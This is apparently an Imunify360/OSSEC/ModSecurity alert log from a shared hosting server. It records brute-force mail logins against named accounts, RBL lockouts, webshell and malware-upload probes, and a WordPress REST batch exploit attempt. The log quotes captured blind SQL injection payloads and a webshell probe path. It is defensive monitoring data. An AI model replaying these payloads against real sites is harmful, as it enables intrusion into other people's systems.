country_id: 2921044
description:
Jul 23 12:47:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 12:47:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 12:56:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 12:59:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 12:59:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.138.3
country_id: 99237
description:
Jul 23 12:59:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-23 13:00:01 dovecot_login authenticator failed for H=(217.42.246.220.static.netvigator.com) [65.20.138.3]:48909: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.74.91.50
country_id: 1269750
description:
Jul 23 13:00:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.74.91.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-23 13:00:21 dovecot_login authenticator failed for H=([192.111.135.19]) [116.74.91.50]:50462: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.93.100.215
country_id: 2921044
description:
2026-07-23 13:04:55 dovecot_login authenticator failed for H=([14.20.73.26]) [142.93.100.215]:55974: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-07-23 13:04:18 dovecot_login authenticator failed for H=([14.32.231.200]) [24.104.225.201]:46809: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.120.115.152
country_id: 1819730
description:
Jul 23 13:04:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.120.115.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-23 13:04:41 dovecot_login authenticator failed for H=n112120115152.netvigator.com (host-119.84.45.129.djezzycloud.dz) [112.120.115.152]:36006: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.100.215
country_id: 2921044
description:
Jul 23 13:04:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.100.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jul 23 13:04:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.187.78.189
country_id: 1269750
description:
Jul 23 13:05:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.187.78.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-23 13:05:19 dovecot_login authenticator failed for H=([122.179.163.27]) [103.187.78.189]:37204: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.144.201.10
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 13:08:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 13:11:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.215.37.98
country_id: 6252001
description:
Jul 23 13:15:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.215.37.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.37.98
country_id: 6252001
description:
2026-07-23 13:15:45 dovecot_login authenticator failed for H=wsip-72-215-37-98.pn.at.cox.net ([65.20.161.126]) [72.215.37.98]:56752: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 13:18:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 13:20:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.179.163.27
country_id: 1269750
description:
Jul 23 13:21:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.179.163.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-23 13:21:07 dovecot_login authenticator failed for H=([49.124.146.34]) [122.179.163.27]:50144: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 13:21:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.149
country_id: 1835841
description:
Jul 23 13:21:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.149
country_id: 1835841
description:
2026-07-23 13:21:30 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [218.149.228.149]:54783: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.122.114.193
country_id: 798549
description:
Jul 23 13:21:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.122.114.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-23 13:21:34 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:52148: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.155.202
country_id: 1269750
description:
Jul 23 13:24:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.155.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.155.202
country_id: 1269750
description:
2026-07-23 13:24:16 dovecot_plain authenticator failed for H=(vableness) [125.19.155.202]:38402: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 81.30.98.195
country_id: 130758
description:
2026-07-23 13:27:56 H=([81.30.98.195]) [81.30.98.195]:65240 F=<cynthia@ximatgolf.com> rejected RCPT <amaslim90@outlook.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 13:34:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-23 13:37:33 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:43696: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.122.114.193
country_id: 798549
description:
Jul 23 13:37:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.122.114.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.192.247.84
country_id: 1269750
description:
Jul 23 13:40:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.192.247.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.218.109.180
country_id: 1668284
description:
Jul 23 13:40:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.218.109.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.218.109.180
country_id: 1668284
description:
2026-07-23 13:40:19 dovecot_login authenticator failed for H=([61.145.56.3]) [180.218.109.180]:40884: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-23 13:40:30 dovecot_login authenticator failed for H=([121.165.242.158]) [203.192.247.84]:60330: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 13:40:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/kallanigroup/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 160.30.136.8
country_id: 1562822
domain: travelinbh.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:335682||Sizes:14776||Combined size:14776||User:travelinbh||WPU:||Filename:icohoqgcr.zip||Scanned:/tmp//20260723-134319-amHNH0WaoKyOaqsum1Tn0wAAANI-file-UIu7nh||SC:/home/travelinbh/public_html/component||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 13:44:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 13:46:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.162.9.13
country_id: 1835841
description:
Jul 23 13:48:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.162.9.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.9.13
country_id: 1835841
description:
2026-07-23 13:48:16 dovecot_login authenticator failed for H=([58.56.128.190]) [221.162.9.13]:50431: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.211.208.125
country_id: 2661886
description:
Jul 23 13:48:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.211.208.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-23 13:48:38 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([84.111.136.211]) [217.211.208.125]:56478: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 13:49:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.161.226.186
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/acoustic-consultancy HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 13:58:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-07-23 14:01:53 dovecot_plain authenticator failed for H=(bulsiss) [102.53.15.56]:56541: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 178.233.128.130
country_id: 298795
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30022.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f04a3c54e79dccea371c519cfc7226a0afa5ddea||Title:0x2131aa53||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.32.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://WWW.Padel5000.co/\">padel5000</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77137283
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 139.144.214.106
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:ARGS||MV:11||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 139.144.214.106
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/categories?author_exclude=0) OR SLEEP(3)-- -||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 14:03:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.179.190.193
country_id: 3865483
description:
2026-07-23 14:04:35 dovecot_login authenticator failed for H=([223.109.200.181]) [201.179.190.193]:62625: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-23 14:04:53 dovecot_login authenticator failed for H=([49.124.151.59]) [185.15.82.135]:36969: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.37.97
country_id: 2635167
description:
Jul 23 14:04:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.37.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-23 14:04:56 dovecot_login authenticator failed for H=(dsl-94-233-26-154.avtlg.ru) [188.122.37.97]:57074: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-23 14:05:07 dovecot_login authenticator failed for H=([49.124.146.46]) [102.210.148.41]:45688: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.91.5
country_id: 1269750
description:
Jul 23 14:09:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.91.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.91.5
country_id: 1269750
description:
2026-07-23 14:09:44 dovecot_login authenticator failed for H=([122.187.230.215]) [122.165.91.5]:60383: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.252.94.151
country_id: 1835841
description:
Jul 23 14:10:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.252.94.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.94.151
country_id: 1835841
description:
2026-07-23 14:10:03 dovecot_login authenticator failed for H=([185.245.184.230]) [211.252.94.151]:39676: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 14:10:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.79.87.115
country_id: 6252001
description:
Jul 23 14:18:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.79.87.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.79.87.115
country_id: 6252001
description:
2026-07-23 14:18:46 dovecot_login authenticator failed for H=wsip-174-79-87-115.br.br.cox.net ([187.12.48.70]) [174.79.87.115]:50959: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.2
country_id: 1733045
description:
2026-07-23 14:19:07 dovecot_login authenticator failed for H=([112.25.140.211]) [49.124.148.2]:50962: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 14:22:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 14:25:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/keralapeople/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-23 14:29:23 dovecot_login authenticator failed for H=([183.171.47.61]) [197.219.228.242]:41036: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.228.242
country_id: 1036973
description:
Jul 23 14:29:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.228.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 14:32:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.0.90.81
country_id: 2077456
description:
Jul 23 14:34:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.0.90.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.39.33
country_id: 2635167
description:
Jul 23 14:33:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.39.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-23 14:33:41 dovecot_login authenticator failed for H=([174.64.199.85]) [188.122.39.33]:49108: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.81
country_id: 2077456
description:
2026-07-23 14:34:11 dovecot_login authenticator failed for H=210.0.90.81.static.nexnet.net.au (138-122-164-206.dynamic.osconnect.com.br) [210.0.90.81]:41506: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 91.147.119.241
country_id: 1522867
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://thelakewoodscoop.com/news/umar-kremlevs-biography-a-new-era-in-world-boxing/\">umar kremlev</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-23 14:39:29 dovecot_login authenticator failed for H=([59.120.179.121]) [182.95.228.194]:35698: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.174
country_id: 1269750
description:
Jul 23 14:39:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-23 14:39:46 dovecot_login authenticator failed for H=(adsl.viettel.vn) [182.95.178.174]:44072: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.228.194
country_id: 1269750
description:
Jul 23 14:39:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.228.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.194.5.183
country_id: 2077456
description:
Jul 23 14:42:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.194.5.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-23 14:42:38 dovecot_login authenticator failed for H=([116.228.195.251]) [203.194.5.183]:50953: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 14:45:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.20.8.26
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 170.199.224.109
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://dreamproxies.com/\">proxy price</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 14:53:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-23 14:56:05 dovecot_login authenticator failed for H=(95-31-209-102.broadband.corbina.ru) [213.154.80.51]:51894: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.154.80.51
country_id: 2245662
description:
Jul 23 14:56:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.154.80.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.201.237.208
country_id: 1269750
description:
Jul 23 14:55:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.201.237.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-23 14:55:53 dovecot_login authenticator failed for H=([49.124.152.223]) [106.201.237.208]:49724: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.48.182.138
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88492.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2072b26a12439e03963b112218a026a6051259b||Title:0x0fe911d2||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-23 15:02:51 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com (ip-104-37-133-100.hosts.zerolag.com) [78.66.44.23]:38698: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 139.84.144.221
country_id: 1269750
domain: apkmetal.in
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/categories?author_exclude=SELECT IF((1=0),SLEEP(7),0)||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.72.198.61
country_id: 1835841
description:
Jul 23 15:02:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.72.198.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-23 15:02:29 dovecot_login authenticator failed for H=([73.158.169.54]) [220.72.198.61]:45291: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.66.44.23
country_id: 2661886
description:
Jul 23 15:02:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.66.44.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
